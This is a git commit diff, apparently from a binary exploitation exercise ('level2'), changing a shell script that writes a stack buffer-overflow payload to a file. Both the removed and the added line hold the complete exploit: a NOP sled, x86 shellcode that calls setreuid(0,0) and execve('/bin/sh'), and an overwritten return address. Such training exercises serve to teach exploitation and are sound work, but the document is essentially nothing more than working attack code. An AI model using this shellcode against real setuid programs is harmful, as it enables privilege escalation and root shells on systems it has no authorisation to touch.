fix: level2 script was wrong

This commit is contained in:
gbrochar 2025-03-18 09:45:29 +01:00
parent 7373f6e93e
commit d7e477978f
1 changed files with 1 additions and 2 deletions

View File

@ -1,2 +1 @@
#!/bin/sh
rm -f exploit3.txt && python -c "print('\x90'*34+'\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+'\x00\xf7\xff\xbf')" > exploit3.txt
rm -f exploit3.txt && python -c "print('\x90'*17+'\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+'\x90'*17+'\x18\xa0\x04\x08')" > exploit3.txt